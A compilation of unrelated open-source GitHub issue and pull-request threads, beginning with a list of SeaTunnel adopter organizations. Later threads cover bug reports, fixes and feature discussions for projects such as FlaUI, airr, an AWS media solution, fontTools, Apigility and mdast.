Organization: JP Morgan & Chase
Location: California, US
Contact<EMAIL_ADDRESS>Purpose: Use Seatunnel as a central data ingestion platform to ingest data to datalake.

Organization: 杭州超级科技
Location: Hangzhou, China
Contact<EMAIL_ADDRESS>Purpose: Data integration and ETL

Organization: 深圳云镝智慧科技
Location: shenzhen, China
Contact<EMAIL_ADDRESS>Purpose: Data integration and ETL

Organization: 重庆觉晓科技有限公司
Location: ChongQing, China
Contact<EMAIL_ADDRESS>Purpose: Data integration and ETL

Organization: 中企通信
Location:ShangHai, China
Contact<EMAIL_ADDRESS>Purpose: Data integration and ETL

Organization: 爱玛科技
Location:TianJin, China
Contact<EMAIL_ADDRESS>Purpose: Data integration and ETL

Organization: 爱保科技
Location: BeiJing, China
Contact<EMAIL_ADDRESS>Purpose: Data integration and ETL

Organization: 卫宁科技
Location: BeiJing, China
Contact<EMAIL_ADDRESS>Purpose: Assist in data exchange

Organization: 风华高科
Location: ZhaoQing, China
Contact<EMAIL_ADDRESS>Purpose: ETL tool , load data to data warehouse

Organization: 京东科技
Location: BeiJing, China
Contact<EMAIL_ADDRESS>Purpose: data exchange tool test, hive to Clickhouse massive data sync

Organization: 车未来科技
Location: TianJin, China
Contact<EMAIL_ADDRESS>Purpose: Build the data pipeline tools in our data platform

Organization: 常州数方科技有限公司
Location: 江苏省常州市
Contact<EMAIL_ADDRESS>Purpose: 数据集成

Organization: 四川智锂智慧能源科技有限公司
Location: SiChuan, China
Contact<EMAIL_ADDRESS>Purpose: Data integration,Build the data pipeline tools in our data platform

Organization: 杭银消费金融公司
Location: Hangzhou China
Contact<EMAIL_ADDRESS>Purpose: Build the data pipeline and written to Doris

Organization: Boulderaitech
Location: Hangzhou, China
Contact<EMAIL_ADDRESS>Purpose: sync data from mysql to hive

Organization: CMSR
Location: ShangHai, China
Contact<EMAIL_ADDRESS>Purpose:  Build a bigdata processing analyze platform to datacenter

Organization: 海南数造科技有限公司
Location: Haikou China
Contact<EMAIL_ADDRESS>Purpose: Build an integrated development platform for data development, data governance, and data services.

Organization: 58集团
Location: BeiJing, China
Contact<EMAIL_ADDRESS>Purpose: Upgrade real-time data integration platform.

Organization: S7 Airlines
Location: Moscow, Russia
Contact<EMAIL_ADDRESS>Purpose: Enterprise Data Platform, currently trying to test and adopt SeaTunnel, wants to use it in data mesh with Kafka and Trino and other DBs for data sink and some etl.


[RESTEASY-1738]

If an entity is sent with media type application/x-www-form-urlencoded
entity, reconstruct body from form parameters if the InputStream has
been read.

Got a test failure to work out.

Replaced by https://github.com/resteasy/Resteasy/pull/1320.


ToolStripMenuItem click throws NoClickablePointException on .NET 4.8 applications

Hello.
I've tried on a simple WinForms application to capture and click the menu item from a dropdown attached to a button on an application that is targeting .net 4.8. This action though throws NoClickablePointException. However if the app is targeting .net 4.7.2 there is no such issue in this scenario.
Is this expected/known?
Sample project
This one contains a WinForms application and a console project (that is using FlaUI for capturing the objects). Simply changing the target framework between 4.7 and 4.8 should make the issue visible as it is reproducible on demand (on my machine at least)
WindowsFormsApp7.zip

Interesting. It is very possible that something got messed up in .NET 4.8. UIA seems never to be really tested by Microsoft. One workaround I could implement is by just using element.BoundingRectangle.Center(); as a 3rd fallback for GetClickablePoint which in that case here would work.

Hi @Roemer I'm a colleague of @shemuwel.
That workaround could be useful, but right now I'm not 100% sure it should be the way to go (I'm debating between having it and opening a ticket on .Net side).
Meanwhile I was able to have the test app working by opting out of some the .Net 4.8 accessibility changes, based on https://github.com/microsoft/dotnet/blob/master/Documentation/compatibility/winforms-accessibility-changes-48.md
	<runtime> 		<AppContextSwitchOverrides value="Switch.UseLegacyAccessibilityFeatures=true;Switch.UseLegacyAccessibilityFeatures.2=true;Switch.UseLegacyAccessibilityFeatures.3=true"/> 	</runtime>
Don't know yet what exact feature we are missing by opting out, still looking into the matter.

I took the liberty of opening a bug on .Net side for the issue, including cloned FlaUI code, I hope you are of with this @Roemer.
Issue is https://github.com/dotnet/winforms/issues/4943, not sure what changes there are to have it fixed on their side.
Meanwhile I also tested the workaround you have added for the issue in FlaUI, they seem ok, though I still have tests to do.
Is there a change for a release with them in these changes in the near future?

Per DotNet team there will be no fix on 4.8 for the MenuItem issue, so FlaUI is our only option.
@Roemer any change for a release in the near future?

I faced same issue with Click on MenuItem, But the Invoke worked:
  var invokePattern = element.Patterns.Invoke.Pattern;
  invokePattern.Invoke();


Importing airr takes far longer than it should.

TLDR: airr takes a long time to import. Fix is here https://github.com/airr-community/airr-standards/pull/683
Importing airr takes 6.9 seconds whereas it should takes tenths of a second.
(airr_standards) [master][~/Documents/new/airr-standards.airr/lang/python]$ python
Python 3.10.4 (main, May 30 2022, 12:51:07) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import time
>>> def time_import_airr():
...     start_time = time.time()
...     import airr
...     end_time = time.time()
...     print(f"Import took {end_time - start_time} seconds")
...
>>> time_import_airr()
Import took 6.869977951049805 seconds

This slows down applications using it and discourages the airr library from being adopted.
This occurs because of how the schema is instantiated in schema.py. The Schema class is instantiated many times in the AIRRSchema dict. As part of this instantiated, the same airr-schema.yaml file is loaded multiple times:
else:
    with resource_stream(__name__, 'specs/airr-schema.yaml') as f:
        spec = yaml.load(f, Loader=yamlordereddictloader.Loader)

Instead, this should be done once in the file and then called during class instantiation.
With this logic, the import time for airr now takes 0.4 seconds.
(airr_standards) *[master][~/Documents/new/airr-standards.airr/lang/python]$ python
Python 3.10.4 (main, May 30 2022, 12:51:07) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import time
>>> def time_import_airr():
...     start_time = time.time()
...     import airr
...     end_time = time.time()
...     print(f"Import took {end_time - start_time} seconds")
...
>>> time_import_airr()
Import took 0.4411776065826416 seconds

I implemented this logic in PR SyntenyBio:jday1/682-fix https://github.com/airr-community/airr-standards/pull/683

Resolved by https://github.com/airr-community/airr-standards/pull/683/files


Support organizations with an AI opt-out policy

Issue #, if available:
#699
Description of changes:
Lets just always save transcribe results to the root of the dataplane bucket instead of using a bucket hosted by the transcribe service.
Fixes this error:
An error occurred (BadRequestException) when calling the StartTranscriptionJob operation: You must specify a value for outputBucketName because your account, XXXXXXXXX, has opted out of using your content for quality improvements. Make sure you provide a value for outputBucketName and try your request again.

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

I'm not sure if the root of the Dataplane bucket is the best place to tell Transcribe to save job files.

If you need this fix before it's has been merged into an MIE release, then run the following commands:
export MIE_STACK_NAME=$(aws cloudformation describe-stacks --region us-east-1  --query 'Stacks[?contains(StackName, `MieStack`)].StackName | [-1]' | tr -d '"' | awk -F '-MieStack-.*-' '{print $1}')

export MIE_OPERATOR_STACK_NAME=$(aws cloudformation list-stacks --region us-east-1 --query 'StackSummaries[?starts_with(StackName,`'$MIE_STACK_NAME-OperatorLibrary'`) && StackStatus==`CREATE_COMPLETE`].StackName' --output text)

FUNCTION_NAME=$(aws --region $AWS_DEFAULT_REGION cloudformation list-stack-resources --stack-name $MIE_OPERATOR_STACK_NAME  --no-paginate --output json --query 'StackResourceSummaries[?LogicalResourceId==`CheckTranscribeFunction`].PhysicalResourceId' --output text)
wget https://raw.githubusercontent.com/aws-solutions/media-insights-on-aws/9ad1711de00ae278dbf71b0e65d3dc52fa987852/source/operators/transcribe/get_transcribe.py
zip get_transcribe.zip get_transcribe.py
aws lambda update-function-code --function-name $FUNCTION_NAME --zip-file fileb://get_transcribe.zip --region us-east-1

FUNCTION_NAME=$(aws --region $AWS_DEFAULT_REGION cloudformation list-stack-resources --stack-name $MIE_OPERATOR_STACK_NAME  --no-paginate --output json --query 'StackResourceSummaries[?LogicalResourceId==`StartTranscribeFunction`].PhysicalResourceId' --output text)
wget https://raw.githubusercontent.com/aws-solutions/media-insights-on-aws/9ad1711de00ae278dbf71b0e65d3dc52fa987852/source/operators/transcribe/start_transcribe.py
zip start_transcribe.zip start_transcribe.py
aws lambda update-function-code --function-name $FUNCTION_NAME --zip-file fileb://start_transcribe.zip --region us-east-1

I verified it works for me and fix the outputBucketName issue.
I'm deploy the it on aws solution https://aws.amazon.com/solutions/implementations/content-localization-on-aws/
For me I'm running on us-east-1 region, so don't forget run commend below to set your region first.
export AWS_DEFAULT_REGION = us-east-1


[nrfconnect] Bump nRF Connect SDK version to 1.7.0

Problem
New SDK version has been released.
Change overview
Update the supported nRF Connect SDK version in CHIP.
Tune the examples' configuration, for example take advatange of Bluetooth driver optimizations in the new release.
Enable DFU over BLE for nRF5340 board family.
Testing
Tested manually on various Nordic boards.

Any opinions on this change making it in for TE6?
Background: I pushed new docker images and :latest now points to tthis new code, but TE6 relies on previous SDK .... so at least on some internal builds a check ncs fails on the latest docker images ... rendering te6 branch unbuildable with build_examples.py

In general, I have an impression that when we branch off, we should stick to the fixed Docker image version instead of using :latest.
But in this case, it should be fine to cherry-pick the change to the TE6 branch.

@andreilitvin I added the TE6 cherrypick label as some users also experienced some difficulties with switching between TE6 and master branches due to this change.

Confirmed CP with Chaitanya and performed it.


add FuncNotify repository to good-first-issue

ℹ Repository information
The repository has:

[X] At least three issues with the good first issue label.
[X] Detailed setup instructions for the project.
[X] CONTRIBUTING.md
[X] Actively maintained.

bump! please let me know if there's anything that can improve the bid to get my repository added.


fix: Use lookup() on computed resource attribute lookups in for_each loop

Description

Use lookup() on computed resource attribute lookups in for_each loop
Correct discrepancy in conditional creation logic of security group

Motivation and Context

Running into this error https://github.com/clowdhaus/terraform-for-each-unknown

Breaking Changes

How Has This Been Tested?

[ ] I have updated at least one of the examples/* to demonstrate and validate my change(s)
[ ] I have tested and validated these changes using one or more of the provided examples/* projects

[x] I have executed pre-commit run -a on my pull request

This PR is included in version 1.3.1 :tada:


Any timeline for the code?

Many thanks to this great article. Is there any timeline for the code to be published?

Thanks for the interest! We're preparing the code for release and it should be ready around the time of the NAACL conference.

Awesome!


Adds support for disabiling integrations

Signed-off-by: Luigi Mori<EMAIL_ADDRESS>

Travis-CI build ok: https://travis-ci.org/PaloAltoNetworks/minemeld-core/jobs/462907852
(doing this manually because Travis-CI is not showing up on PR for some reason)


Application Settings Not Persisting

Application settings don't persist between application launches.
e.g. set the app theme to dark, close off the app, start again, the theme is white.

I'm facing the same issue as well.
None of the settings persist.
I'm using v0.7.1 on Windows

Hey, thanks for reporting this. Could you share which variant of Vividl you're using, i.e. with installer, portable version or via chocolate? Thanks!

I tried both with the installer and via chocolatey

Ok, currently I'm unable to reproduce this issue on my side. Usually, the settings for these variants should be preserved to the AppData folder. To check if that's maybe not happening, could you go to %APPDATA%/Bluegrams, then look for a folder starting with Vividl.exe and check if that folder contains a folder <IP_ADDRESS> with a user.config file. If that's the case, please check whether that file is not empty. Thanks!

@alxnull
For me I have two configs in both Local and Roaming folders.
C:\Users\Dean\AppData\Local\Bluegrams\Vividl.exe_Url_rz0pmv2lcv045rn4xnj5fqo5wqolmo43\<IP_ADDRESS>
C:\Users\Dean\AppData\Roaming\Bluegrams\Vividl.exe_Url_rz0pmv2lcv045rn4xnj5fqo5wqolmo43\<IP_ADDRESS>

The user.config file contains:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <configSections>
        <sectionGroup name="userSettings">
            <section name="Bluegrams.Application.UpdateCheckerBase" type="System.Configuration.ClientSettingsSection, System, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" />
        </sectionGroup>
    </configSections>
    <userSettings>
        <Bluegrams.Application.UpdateCheckerBase>
            <setting name="SkipVersion" serializeAs="String">
                <value>False</value>
            </setting>
        </Bluegrams.Application.UpdateCheckerBase>
    </userSettings>
</configuration>

I found that some of my settings had to be set again after I upgraded from 0.7 to 0.7.1.

Looks like I'm facing the same issue. No settings are saved on exit. The app just "resets" to default (putting reset in quotes because I think a crash is happening on app exit which is preventing it from saving the changes). I have tried it with both .msi and portable zip and the bug exists in both versions.

Thank you all for adding details on this! I identified an issue that's prevents settings from being correctly saved when closing the application via File -> Exit (or Alt+F4) and will fix this. They should be saved correctly however when closing via "X".

thanks for providing with the closing via "X" alternative. It's saving settings now, however, the "Directly Download Videos" feature in Advanced settings does not remain toggled on after a restart still.
[Additional (& off-topic-ish) info] I'm not sure what the "Directly Download Videos" feature does since I cant get it to stay enabled. But I am trying to have the app set in a way where I can "Ctrl+V" the video URL into the app and have the app start download (without the additional need to wait until the video info loads in and having to press the download button). Is what I am describing done by this feature? If not I would like to propose a feature request for this functionality.

@fourteen-1 re the "Directly Download Videos" feature: This is related to the automation feature which allows you to directly fetch & download any video urls copied to your clipboard without explicitly pasting them to the app. This feature can be activated via "Automate -> Auto-import URLs from Clipboard" in the main menu.
If this is not the feature you wanted, please open a feature request in a new issue.


Support keyword-only arguments

We mark arguments as keyword-only at the moment, but we're not creating a keyword dictionary for them in the reflection classes.

Completed in #126


added license

I added MIT License to the project

I did the workflow wrong and should have pulled to develop instead. I'll fix this.


Use object property as variable?

{currentUser.id, select, creator.id{You} other{creator.type, select, Teacher{{creator.formalName}} other{{creator.preferredFullName}}}} posted {attachments.length, plural, one{a photo} other{# photos}}
got error:
SyntaxError: Expected ",", "}" or [^ \t\n\r,.+={}] but "." found.
Must i send a standalone variable there for check?

Think I shall convert the wanted property into a standalone variable before call the compiler...


Implement per-API authentication

This patch provides the mechanics necessary to implement per-API authentication.
First, I've changed the priority at which each of the authentication and authentication.post events occur. Prior to these changes, they happened at 500 and 499, respectively; they now happen at -25 and -26 (i.e., after routing, but prior to other Apigility-related listeners).
Second, you can now create a "map" key in the "authentication" configuration. The value of this should be a set of API/module + version / authentication type pairs. As an example:
return [
    'authentication' => [
        'map' => [
            'Status\V2' => 'oauth2',
            'Ping\V1' => 'basic',
            'Images\V3' => 'digest',
        ],
    ],
];

In the above, v2 of the "Status" module/API would use the configured OAuth2 authentication, v1 of the "Ping" module/API would use the configured HTTP Basic authentication, and v3 of the "Images" module/API woulduse the configured HTTP Digest authentication.
In order to retain backwards compatibility, the following rules apply:

if
no authentication schemes are defined
then do not perform authentication
if
a single authentication scheme is defined
and no map is present
then use the defined authentication
if
multiple authentication schemes are defined
and no map is present
then do not perform authentication
if
one or more authentication schemes are defined
and a map is present
and the current API/module does not have an entry in the map
then do not perform authentication
if
one or more authentication schemes are defined
and a map is present
and the current API/module has an entry in the map
and the entry does not match one of the authentication schemes
then do not perform authentication
if
one or more authentication schemes are defined
and a map is present
and the current API/module has an entry in the map
and that entry matches one of the authentication schemes
then use the defined authentication

All existing tests continue to pass, and tests were added for each of the above scenarios.
Allowing user-configured authentication types
One place this falls down is if a user has a custom authentication type, as currently that means they will not be able to specify their custom authentication type for an API/module. While we likely will not want to allow configuring custom adapters via the UI, having the UI aware of the type does make sense, as it allows mapping APIs to those types.
The best way to make this happen is to refactor the DefaultAuthenticationListener to be aware of authentication adapters. This approach would do the following:

Separate the implementation specific details into their own adapters, slimming down the code in the listener.
Provide a clean, simple, and documented API for providing additional authentication adapters other than writing an event listener.
Provide a mechanism for exposing authentication types for purposes of mapping authentication to APIs.

The proposed authentication adapter interface is:
namespace ZF\MvcAuth\Authentication;

use Zend\Http\Request;
use Zend\Http\Response;
use ZF\MvcAuth\Identity\IdentityInterface;

interface AdapterInterface
{
    /**
     * @return array Array of types this adapter can handle
     */
    public function provides();

    /**
     * Attempt to retrieve the authentication type based on the request.
     *
     * Allows an adapter to have custom logic for detecting if a request
     * might be providing credentials it's interested in.
     *
     * @param Request $request
     * @return false|string
     */
    public function getTypeFromRequest(Request $request);

    /**
     * Perform pre-flight authentication operations.
     *
     * Use case would be for providing authentication challenge headers.
     *
     * @param Request $request
     * @param Response $response
     * @return void|Response
     */
    public function preAuth(Request $request, Response $response);

    /**
     * Attempt to authenticate the current request.
     *
     * @param Request $request
     * @param Response $response
     * @return false|IdentityInterface False on failure, IdentityInterface
     *     otherwise
     */
    public function authenticate(Request $request, Response $response);
}

The current logic specific to HTTP and OAuth2 authentication would be moved into discrete adapter implementations, and the DefaultAuthenticationListenerFactory would be updated to selectively create these adapters and attach them to the listener.
For those wanting to use custom authentication event listeners, we will provide a configuration key for specifying type names that these listeners support; however, the logic will be such that if no adapter can satisfy the type, a GuestIdentity will be returned; it will be up to the custom listener to perform the appropriate checks to see if it should be used, and to return an identity following the authentication check.
The DefaultAuthenticationListener will be updated to add the following methods:
/**
 * @return array
 */
public function attach(AdapterInterface $adapter);

/**
 * @return array Array of all supported authentication types, including both
 *     those provided by adapters and those provided via configuration.
 */
public function getAuthenticationTypes();

Tasklist

[X] Implement authentication maps (API/Module -> authentication type)
[x] Implement custom authentication awareness

[x] Create authentication adapter interface
[x] Modify DefaultAuthenticationListener logic to delegate to adapters

[x] getTypeFromRequest() to delegate to adapters for type, if none in authorization header
[x] Call preAuth() on all adapters if no type found
[x] Retrieve adapter by type and use it to authenticate

[x] Create functionality for determining configured types

[x] Pull from configured adapters (delegator factories can be used to add more adapters, so pulling the service will allow querying adapters)
[x] Pull from a special configuration key

@ezimuel This patch is now ready for review; includes tests and documentation!


[varLib.instancer] Should CFF2 be converted to CFF

If yes, should it be the optional, and what would be the default.
Regardless of the answer, what would be the “canonical” way to convert CFF2 table to CFF?

Here is my (totally ignorant) attempt to convert CFF2 table to CFF:
cff = font["CFF2"].cff
font["CFF "] = newTable("CFF ")
font["CFF "].cff = cff
del font["CFF2"]

cff.major = 1
cff.minor = 0
cff.fontNames = [instance.postScriptFontName]

It doesn’t work of course, the resulting CFF table has no CharStrings (in the TTX dump) at all.

fontTools.varLib.cff module contains a convertCFFtoCFF2 function, I guess you're looking to reverse that process somehow.
@readroberts may be able to be more specific about this, as he wrote that code.

This is because the CFF2 table has several structural differences from a CFF table, and simply changing the major version does not fix all of them.
A major one is that you either have to either add the info required by a CID font to the TopDict - Region,Order, Supplement (use Adobe-Identity1-0), or convert it to a name keyed font by removing the FDSelect and FDArray, and moving the Private Dict to the TopDict. In both cases you will need to add a TopDict.charset. I may have missed something, this is certainly most of the work needed.

Basically just start by getting a general understanding of the differences and pull the dictionary and inspect it and write the converter.  No magic here. Use Identity ROS if possible or make a named CFF.  Remember to fix post table if needed.

varLib.mutator is deprecated. The same should happen in varLib.instancer though.

Fixed in https://github.com/fonttools/fonttools/pull/3506
Just left https://github.com/fonttools/fonttools/issues/3512 which I'll do soon.

A major one is that you either have to either add the info required by a CID font to the TopDict - Region,Order, Supplement (use Adobe-Identity1-0),

Somehow if I keep the FDSelect and FDArray, but don't add ROS, it kinda works (at least with HarfBuzz). But if I add identity ROS, it doesn't. Debugging more.


Check for nulls

In the generated BoxFit Serializer classes for Kotlin you assign the variables to the object whether it is null or not - I think you need to check for nulls and not apply if null.   Currently you have -
protected void merge(Json json, CustomObject object, BoxStore boxStore) {

    if (json.has("CreatedBy")) {
      Long value = json.getLong("CreatedBy");
      com.pakcage.CustomObjectKtBridge.INSTANCE.setCreatedBy(object, value);
    }

the problem is that setCreatedBy may not accept a null value which in turn causes this to crash.  I think you need to refactor setCreatedBy (and all generated methods) from this -
    fun setCreatedBy(obj: ServiceRequest, value: Long) {
        obj.createdBy = value
    }

to this (notice value is now nullable)
    fun setCreatedBy(obj: ServiceRequest, value: Long?) {
     if (value != null)   obj.createdBy = value
    }

Kotlin allows for default values so we can safely assume that they have assigned a value for the variable (unless they used lateinit but they should understand that.
I really like what you've done and I might branch off what you've done and do this fix quick if that helps.  Thanks!

If I understand ok, I wouldn't say that it is a Boxfit issue. I mean, if the createdBy property can't be null, the json value should never be null. Also, if the json value may be null, why simply don't set the field as nullable too?.
IMHO, the client is reponsible of assigning the right types to the models. It would be the same case as if you define a property as toOne but the json gets a JSONArray, I'd say the problem here would be that the types are not properly defined.
In any case, I can think in a quick solution. You can add a transformer to your BoxfitClass annotation.  You can create a JSONTransformer class that remove the createdBy key from the json in case it is null.
This wouldn't be a difficult thing to fix, I am just wondering if it the library should take care of this or not  :).

I think I agree - the real issue is here is that our server side data and app side data are not 100% inlined.  The real fix should be that these two data sets aline correctly - but we all now when you have two different groups of people in a big company it can be easier said than done :)
It would be nice to at least have the option to handle these edge cases.  Maybe making a user add a JSONTransformer to every case like this would encourage everyone to actually get the issues fixed on their side :)

@ManueGE I think that would be great.  After reading what you said I agree that by default it should be false and you can still have the option of adjusting that

Fixed in release 0.0.3.
You can annotate a field with @FromJsonIgnoreNull (aside @BoxfitField)  to achieve this behavior.
Closing issue.


Semver changes

One of my user requested me to expose plugin version as early as possible, so I made a couple of non-breaking changes:

add different constructors for alpha, beta and rc
add impl Display for Semver to be able to return it conveniently as a string

I know semver can be a wide topic / opinionated but I had to settle down on a naming convention, so I tried to be as standard as possible.

The idea being to then use it like e.g.
GlobalExport(global!(c"MyPlugin.Version", version)),
GlobalExport(global!(c"MyPlugin.SemanticVersion", semantic_version)),

fn version() -> String { format!("{}", MyPlugin::VERSION) }
fn semantic_version() -> Vec<u32> { [u32; 5]::from(MyPlugin::VERSION).to_vec() }

and
module MyPlugin

public native func Version() -> String;
public native func SemanticVersion() -> array<Uint32>;

I chose to simply allow specifying the complete SemVer and impl IntoRepr for it so that crate consumers are not forced into a particular naming convention and are free to interpret the version meaning as they see fit.

That changes the above example like so:
GlobalExport(global!(c"MyPlugin.Version", version)),
fn version() -> RedArray<u32> { MyPlugin::VERSION }

and
module MyPlugin

public native func Version() -> array<Uint32>;

Ok so I added StaticArray<u16, 3> as the default impl for IntoRepr, but i left myself the opportunity to turn it Into a StaticArray<u16, 5> since i tend to use alpha, beta, rc actively and it's very convenient for that purpose.


Port the same example in cerebral and cycle

I think all the boilerplates should implement the redux counter example. So it's easier to compare them and pick the one more familiar

If you want it faster it would be great if you create the BINs for these examples and send me the urls, I can just switch them around :-)

Closing this, please reopen if you have suggestions on how these can look. Just give me urls and I can change them to boilerplates :)


⚠ Bofrost.de has degraded performance

In 0a8070e, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 949 ms

Resolved: Bofrost.de performance has improved in d86ab68.


Add initGame and joinGame to contract. #44 #45

Jenkins, again, please!!

Jenkins ?

Jenkins test pls

Jenkins

Jenkins

Jenkins

Jenkins

Jenkins

Jenkins

Jenkins

Jenkins

Jenkins

Jenkins test please

Jenkins

This is missing the possibility to define a start color.

Do we really need that feature? It would be MUCH easier if the initiator is always player 1.
On 19 May 2016 8:38 pm, dennis-westphal<EMAIL_ADDRESS>wrote:This is missing the possibility to define a start color.
—You are receiving this because you authored the thread.Reply to this email directly or view it on GitHub

This is what we discussed and what the story and task say. I aggree that the initiator should always be player 1, but he should not be fixed to playing with white.

Jenkins

Jenkins

OK, so we should have an additional variable that saves who is white. Any suggestion how the function call should look like? e.g. just true/false for white or not? Chess.initGame('Alice', true, {from: player1, gas: 1000000});

Yes, another variable would be good. As for the method signature, normally I would say accepting a String and checking if it is white or black (and throw an error if neither), but if it's easier for you, a boolean isPlayingWhite would be ok too.

Can you please also change the joinGame event so that it also contains the player1 and player1alias? Makes it way easier to know if the game that someone joined belongs to yourself.

I ended up adding the option to set who is the white player as a boolean parameter to initGame: bool playAsWhite. Comparing strings isn't easy in Solidity.
The address of the player who is white is also broadcast in the GameInitialized and GameJoined event. In the former case it will be 0 if the game was initialized with player1 as black.

According to the FIDE chess rules, the player with the color white starts the game. So your code needs to be modified.

"Der Spieler mit den hellen Figuren (Weiß) macht den ersten Zug, dann ziehen die Spieler abwechselnd, wobei der Spieler mit den dunklen Figuren (Schwarz) den nächsten Zug ausführt. "

@lisasi good catch, thank you!

@lisasi @Pepperrs @dennis-westphal Can this now be merged? I think your comments have been fixed. This pull request should be merged before #56 is merged.


Fix #12 : Switch CDN from "unpkg.com" to "cdn.jsdelivr.net"

Complement proposal for #12:

Documentation
Sample

tnx


Allow integrating Blueprinter with AMS

I am looking to introduce Blueprinter into a codebase that already uses AMS. Would you be open to adding a feature on field that allowed you to specify a active_model_serializer: instead of a blueprint: like today? That way even with very interrelated serializers you would be able to start migrating to blueprinter without having to migrate a whole object graph.
cc @philipqnguyen @dlcarter

This is a good idea. Wholesale switchover to Blueprinter is infeasible otherwise.

This probably would incentive that people missuse the gem, having mixed serializers forever, raising unexpected errors, opening more issues here and having to maintain compatibility with this feature in the next versions. If you want to add a custom functionality for your particular case maybe it would be better that you fork or monkey-patch blueprint instead of making blueprint to integrate with other gems.

Totally fair, the PR discussion came to the same conclusion. 👍


Add @all-contributors bot

https://allcontributors.org is a specification and a set of tools for acknowledging contributions to a project. There's also an @all-contributors bot which can be installed on the repo as a GitHub app, which makes it easy to add contributors with a simple comment in an issue or PR:

Here's an example of the output that's add to the README by the bot: https://github.com/docs/liquid#contributors-

Here's a cheatsheet of all the contribution types: https://allcontributors.org/docs/en/emoji-key
Setting this up is pretty easy. If you're open to adding this to project, here are the docs: https://allcontributors.org/docs/en/bot/installation

Hi @zeke , thank you for your suggestion!
Looks good, we will consider adding this bot to the current repository :smiley:

I'd love this - we currently have too many languages and translators for us to manage all-contributors manually. Would be super awesome to automate that.

Hi @snipe,
Try to use the crowdin-contributors CLI. This tool intended for automating the maintenance of your Crowdin project contributors table.

The GitHub bot makes it pretty easy too: https://allcontributors.org/docs/en/bot/installation

@zeke sure, it great for automating repository contributors table :slightly_smiling_face:
but, as I understand, @snipe wants to add Crowdin translators and proofreaders also to the contributors table

Sorry I skimmed over that detail. Yeah in that the CLI is preferable because you can easily add a bunch of folks all in one go 👍🏼

Thanks, folks! I’ll def check that out! ❤

I'd love this - we currently have too many languages and translators for us to manage all-contributors manually. Would be super awesome to automate that.

Hi @snipe!
Now we have one more way to automate this - action-crowdin-contributors 🙂
It's similar to the crowdin-contributors CLI that I've recommended before

Ack, sorry - I should have closed this myself. Sorry to give you extra cleanup work. <3


Support Python versions < 3.8 for Lambda functions

Is your feature request related to a problem? Please describe.
I cannot package my Lambda function, as I wrote it for Python 3.6 and it has dependencies not available for Python 3.8, which is (as far as I know) a completely valid Lambda configuration but is not possible to build or push the function with the Amplify CLI.
Describe the solution you'd like
I would like a way to select the Python version you intend to use for the Lambda function.
Describe alternatives you've considered
I've tried using other Python versions or other versions of the library, but they are incompatible with Lambda.

I also heard from a developer that can't deploy via Amplify on Cloud9.
Reported at https://twitter.com/w2or3w/status/1353336693848379397?s=20 that says "Unable to push from Cloud9 installed Python 3.7.9. Python 3.8 is needed to install by Amplify "


Entity nodes

Entities are handled pretty simply by mdast: they are (all) removed.
However, removing those loses a lot of information. For example, it makes figuring out the position of something a lot harder, as can be seen by this bug in alex, which also exists in other tools trying to figure out the original location of something inside a text node.
By adding entity nodes, this problem can be mitigated. Most importantly it ensures that entities can be recompiled in the output of mdast.
I’m proposing (I’m not sure yet), something like the following IDL:
interface Entity <: Text {
    type: "entity";
    name: string | number;
    value: string;
}

When name is number, it’ll be compiled ass $#name;, when string, as $name;
For example, the following entity:
This &amp that <!-- yes, the closing semicolon is missing, HTML accepts that...-->

Yields:
{
  "type": "entity",
  "name": "amp",
  "value": "&"
}

And, the following entity:
etc…

Yields:
{
  "type": "entity",
  "name": 8230,
  "value": "…"
}

In fact, this interface would work exactly like the mdast escape node for tools accessing the value of something using mdast-util-to-string, but it has the added benefit of breaking text nodes where the position in the original document is offset.

Isn't retaining positional information achievable by splitting one text node into several adjacent text nodes?
{
  "type": "paragraph",
  "children": [
    {
      "type": "text",
      "value": "this ",
      "position": {
        "start": {
          "line": 1,
          "column": 1
        },
        "end": {
          "line": 1,
          "column": 6
        }
      }
    },
    {
      "type": "text",
      "value": "&",
      "position": {
        "start": {
          "line": 1,
          "column": 6
        },
        "end": {
          "line": 1,
          "column": 11
        }
      }
    },
    {
      "type": "text",
      "value": " that",
      "position": {
        "start": {
          "line": 1,
          "column": 11
        },
        "end": {
          "line": 1,
          "column": 16
        }
      }
    }
  ],
  "position": {
    "start": {
      "line": 1,
      "column": 1
    },
    "end": {
      "line": 1,
      "column": 16
    }
  }
}

Deviations from Commonmark are not the best thing in the world.

@eush77 Oh that’s also possible! Nice catch! :smiley:
That would certainly help in “less” type of nodes in the mdast AST, but would disable programmatic addition / removal of select (v.s. the current support for “all”) entities.
The latter of course being not the original reason for these entity nodes, but still... nice?
It’s also related to GH-32, whose goal is to ensure input and output to be more similar: often users don’t encode all non-ASCII characters as entities, just some.

That would certainly help in “less” type of nodes in the mdast AST, but would disable programmatic addition / removal of select (v.s. the current support for “all”) entities.

Sorry, I didn't quite understand. Did you mean addition/removal of text selection that spans across multiple adjacent text nodes?

That would certainly help in “less” type of nodes in the mdast AST, but would disable programmatic addition / removal of select (v.s. the current support for “all”) entities.

Sorry, I didn't quite understand. Did you mean addition/removal of text selection that spans across multiple adjacent text nodes?

No, I meant that the current entity options are an “all or nothing” approach, having entity nodes would mean that some entities would be re-encoded whereas others would be their normal utf-8 character:
So, with nodes, the following could be re-compiled exactly:
foo & AT&T

@eush77 I’m close to done with an entity decoder with support for emitting nodes (whether text or entity for entities), positions, triggering warnings. That should be used by both mdast and hast.
I think I’m preferring text nodes as a replacement for both entities and escape, and different adjacent text nodes for gaps in positioning
E.g.,
[ { type: 'text',
       value: 'I\'m ',
       position: { start: { line: 1, column: 1 }, end: { line: 1, column: 5 } } },
     { type: 'text',
       value: '¬',
       position: { start: { line: 1, column: 5 }, end: { line: 1, column: 9 } } },
     { type: 'text',
       value: 'it; I tell you.\n\nI\'m ',
       position: { start: { line: 1, column: 9 }, end: { line: 3, column: 5 } } },
     { type: 'text',
       value: '∉',
       position: { start: { line: 3, column: 5 }, end: { line: 3, column: 12 } } },
     { type: 'text',
       value: ' I tell you.\n\n&#x.\n',
       position: { start: { line: 3, column: 12 }, end: { line: 6, column: 1 } } } ]

...for:
I'm &notit; I tell you.

I'm ∉ I tell you.

&#x.

With some warnings:
